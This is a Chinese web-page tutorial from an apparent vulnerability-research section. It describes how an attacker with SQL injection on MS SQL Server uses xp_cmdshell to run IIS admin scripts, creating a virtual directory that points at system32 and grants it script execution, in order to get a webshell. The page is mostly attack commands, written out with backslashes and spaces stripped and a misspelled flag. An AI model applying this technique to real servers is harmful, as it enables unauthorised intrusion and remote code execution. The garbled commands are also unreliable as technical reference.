手机
当前位置:查字典教程网 >实用技巧 >漏洞研究 >SQL注入建立虚拟目录,找Web绝对路径!
SQL注入建立虚拟目录,找Web绝对路径!
摘要:我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:exec...

我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:

execmaster.dbo.xp_cmdshell'cscriptC:InterpubAdminScriptsmkwebdir.vbs-clocalhost-w"l"-v"win","c:winntsystem32"'

建立虚拟目录win,指向c:winntsystem32

execmaster.dbo.xp_cmdshell'cscriptC:InterpubAdminScriptsadsutil.vbsw3svc/1/root/win/AccessexecuteTure'

让win句有解析asp脚本权限

execmaster.dbo.xp_cmdshell"cscriptC:InterpubAdminScriptsadsutil.vbsdeletew3svc/1/root/h4x0r/"

删除虚拟目录。

找不到web绝对路径的一种解决办法,

http://21o.net/h4x0r

403错误,表示虚拟目录建好了。。。

【SQL注入建立虚拟目录,找Web绝对路径!】相关文章:

通杀国内一些防火墙技巧

手机短信轰炸(图)

PollVote投票系统漏洞利用

PHP博客程序C-blog2.0漏洞测试大揭密(图)

ARP病毒入侵原理和解决方案

最近比较流行的数据库挂马

动易SQL版新洞利用短信功能直接拿后台

推荐:二次发现桃源网络硬盘漏洞

BBSXP漏洞再探究

网友举报:屁屁宽频软件自带木马病毒(图)

精品推荐
分类导航